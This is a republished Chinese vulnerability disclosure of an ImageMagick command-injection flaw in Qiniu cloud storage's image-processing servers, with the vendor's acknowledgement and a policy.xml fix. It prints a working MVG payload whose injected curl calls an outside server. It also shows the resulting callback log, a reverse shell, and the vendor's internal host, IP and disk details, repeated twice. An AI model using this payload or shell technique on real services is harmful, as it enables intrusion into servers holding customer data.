七牛云存储远程命令执行漏洞影响图片处理服务器

  • 内容
  • 相关

漏洞详情

披露状态:

 

2016-05-05: 细节已通知厂商并且等待厂商处理中
2016-05-05: 厂商已经确认,细节仅向厂商公开
2016-05-15: 细节向核心白帽子及相关领域专家公开
2016-05-25: 细节向普通白帽子公开
2016-06-04: 细节向实习白帽子公开
2016-06-19: 细节向公众公开

简要描述:

七牛云存储远程命令执行漏洞影响图片处理服务器

详细说明:

七牛云存储在业务中使用了 ImageMagick 对程序进行处理,由于该软件(扩展)存在命令执行漏洞,所以导致可以直接获取七牛云存储服务器权限。

漏洞详情请参考:

http://www.openwall.com/lists/oss-security/2016/05/03/18

具体利用过程:调用七牛云存储上传图片,图片内容为:

code 区域
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "*.*.*.*)'
pop graphic-context



我的服务器 web 日志能够收到如下请求:

code 区域
183.136.128.155 - - [05/May/2016:11:34:30 +0800] "GET / HTTP/1.1" 200 11359 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"



证明服务器能够执行命令,反弹 shell 到本地:

code 区域
[email protected]:/home/qboxserver$ /sbin/ifconfig 
/sbin/ifconfig
bond0 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
inet addr:192.168.39.56 Bcast:192.168.39.255 Mask:255.255.255.0
inet6 addr: fe80::6e92:bfff:fe08:4231/64 Scope:Link
UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1
RX packets:1954421513004 errors:296 dropped:109669460 overruns:89056 frame:139
TX packets:1830543349326 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2185589994172355 (2.1 PB) TX bytes:2267435507197833 (2.2 PB)

eth0 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
RX packets:1015834290209 errors:296 dropped:3 overruns:57652 frame:139
TX packets:949789646132 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1137441591036452 (1.1 PB) TX bytes:1174420660158860 (1.1 PB)
Memory:df7a0000-df7c0000

eth2 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
RX packets:938587222795 errors:0 dropped:3 overruns:31404 frame:0
TX packets:880753703193 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1048148403135903 (1.0 PB) TX bytes:1093014847038820 (1.0 PB)
Memory:df920000-df940000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:41448226032 errors:0 dropped:0 overruns:0 frame:0
TX packets:41448226032 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:271458766242099 (271.4 TB) TX bytes:271458766242099 (271.4 TB)

[email protected]:/home/qboxserver$



code 区域
[email protected]:/home/qboxserver$ cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost nb443
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.188 salt puppetmaster
192.168.33.200 zabbixserver bosunserver fileserver.qbox.me
192.168.34.129 nb.fileserver.qbox.me
192.168.48.248 ntp.ubuntu.com

172.16.77.202 qmaster2


172.16.77.201 qmaster1

172.16.77.201 qmaster1
172.16.77.202 qmaster2



code 区域
[email protected]:/home/qboxserver$ df -h
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 279G 75G 190G 29% /
udev 16G 12K 16G 1% /dev
tmpfs 6.3G 392K 6.3G 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 16G 60K 16G 1% /run/shm
/dev/sde1 3.7T 3.2T 293G 92% /disk1
/dev/sdc1 3.7T 3.3T 220G 94% /disk2
/dev/sdb1 3.7T 3.3T 254G 93% /disk3
/dev/sdd1 3.7T 3.2T 283G 93% /disk4
/dev/sdg1 3.7T 3.3T 203G 95% /disk5
/dev/sdi1 3.7T 3.2T 278G 93% /disk6
/dev/sdh1 3.7T 3.2T 285G 92% /disk7
/dev/sdj1 3.7T 3.3T 245G 94% /disk8
/dev/sdk1 3.7T 3.2T 301G 92% /disk9
/dev/sdl1 3.7T 3.2T 262G 93% /disk10
/dev/sdm1 3.7T 3.3T 256G 93% /disk11
/dev/sdf1 3.7T 56G 3.4T 2% /disk12



挂载了这么多磁盘,有将近 40T 的数据,猜测都是客户上传的静态资源。

漏洞证明:

七牛云存储在业务中使用了 ImageMagick 对程序进行处理,由于该软件(扩展)存在命令执行漏洞,所以导致可以直接获取七牛云存储服务器权限。

漏洞详情请参考:

http://www.openwall.com/lists/oss-security/2016/05/03/18

具体利用过程:调用七牛云存储上传图片,图片内容为:

code 区域
push graphic-context
viewbox 0 0 640 480
fill 'url(https://example.com/image.jpg"|curl "*.*.*.*)'
pop graphic-context



我的服务器 web 日志能够收到如下请求:

code 区域
183.136.128.155 - - [05/May/2016:11:34:30 +0800] "GET / HTTP/1.1" 200 11359 "-" "curl/7.22.0 (x86_64-pc-linux-gnu) libcurl/7.22.0 OpenSSL/1.0.1 zlib/1.2.3.4 libidn/1.23 librtmp/2.3"



证明服务器能够执行命令,反弹 shell 到本地:

code 区域
[email protected]:/home/qboxserver$ /sbin/ifconfig 
/sbin/ifconfig
bond0 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
inet addr:192.168.39.56 Bcast:192.168.39.255 Mask:255.255.255.0
inet6 addr: fe80::6e92:bfff:fe08:4231/64 Scope:Link
UP BROADCAST RUNNING MASTER MULTICAST MTU:1500 Metric:1
RX packets:1954421513004 errors:296 dropped:109669460 overruns:89056 frame:139
TX packets:1830543349326 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:2185589994172355 (2.1 PB) TX bytes:2267435507197833 (2.2 PB)

eth0 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
RX packets:1015834290209 errors:296 dropped:3 overruns:57652 frame:139
TX packets:949789646132 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1137441591036452 (1.1 PB) TX bytes:1174420660158860 (1.1 PB)
Memory:df7a0000-df7c0000

eth2 Link encap:Ethernet HWaddr 6c:92:bf:08:42:31
UP BROADCAST RUNNING SLAVE MULTICAST MTU:1500 Metric:1
RX packets:938587222795 errors:0 dropped:3 overruns:31404 frame:0
TX packets:880753703193 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:1048148403135903 (1.0 PB) TX bytes:1093014847038820 (1.0 PB)
Memory:df920000-df940000

lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
UP LOOPBACK RUNNING MTU:16436 Metric:1
RX packets:41448226032 errors:0 dropped:0 overruns:0 frame:0
TX packets:41448226032 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:0
RX bytes:271458766242099 (271.4 TB) TX bytes:271458766242099 (271.4 TB)

[email protected]:/home/qboxserver$



code 区域
[email protected]:/home/qboxserver$ cat /etc/hosts
cat /etc/hosts
127.0.0.1 localhost nb443
::1 ip6-localhost ip6-loopback
fe00::0 ip6-localnet
ff00::0 ip6-mcastprefix
ff02::1 ip6-allnodes
ff02::2 ip6-allrouters
192.168.1.188 salt puppetmaster
192.168.33.200 zabbixserver bosunserver fileserver.qbox.me
192.168.34.129 nb.fileserver.qbox.me
192.168.48.248 ntp.ubuntu.com

172.16.77.202 qmaster2


172.16.77.201 qmaster1

172.16.77.201 qmaster1
172.16.77.202 qmaster2



code 区域
[email protected]:/home/qboxserver$ df -h
df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sda5 279G 75G 190G 29% /
udev 16G 12K 16G 1% /dev
tmpfs 6.3G 392K 6.3G 1% /run
none 5.0M 0 5.0M 0% /run/lock
none 16G 60K 16G 1% /run/shm
/dev/sde1 3.7T 3.2T 293G 92% /disk1
/dev/sdc1 3.7T 3.3T 220G 94% /disk2
/dev/sdb1 3.7T 3.3T 254G 93% /disk3
/dev/sdd1 3.7T 3.2T 283G 93% /disk4
/dev/sdg1 3.7T 3.3T 203G 95% /disk5
/dev/sdi1 3.7T 3.2T 278G 93% /disk6
/dev/sdh1 3.7T 3.2T 285G 92% /disk7
/dev/sdj1 3.7T 3.3T 245G 94% /disk8
/dev/sdk1 3.7T 3.2T 301G 92% /disk9
/dev/sdl1 3.7T 3.2T 262G 93% /disk10
/dev/sdm1 3.7T 3.3T 256G 93% /disk11
/dev/sdf1 3.7T 56G 3.4T 2% /disk12



挂载了这么多磁盘,有将近 40T 的数据,猜测都是客户上传的静态资源。

修复方案:

使用策略文件暂时禁用ImageMagick。可在“/etc/ImageMagick/policy.xml”文件中添加如下代码:

code 区域
<policymap>
<policy domain="coder" rights="none" pattern="EPHEMERAL" />
<policy domain="coder" rights="none" pattern="URL" />
<policy domain="coder" rights="none" pattern="HTTPS" />
<policy domain="coder" rights="none" pattern="MVG" />
<policy domain="coder" rights="none" pattern="MSL" />
</policymap>

 

版权声明:转载请注明来源 风吹屁屁好特么凉@乌云


漏洞回应

厂商回应:

危害等级:高

漏洞Rank:20

确认时间:2016-05-05 16:19

厂商回复:

感谢您的提示,我们正在修复。

最新状态:

暂无


本文标签:

版权声明:若无特殊注明,本文皆为《安三》原创,转载请保留文章出处。『鹦鹉搜索』

百度收录:百度已收录『查看详情』

本文链接:七牛云存储远程命令执行漏洞影响图片处理服务器 - https://www.15qq.cn/wooyun/584.html

发表评论

电子邮件地址不会被公开。 必填项已用*标注

允许邮件通知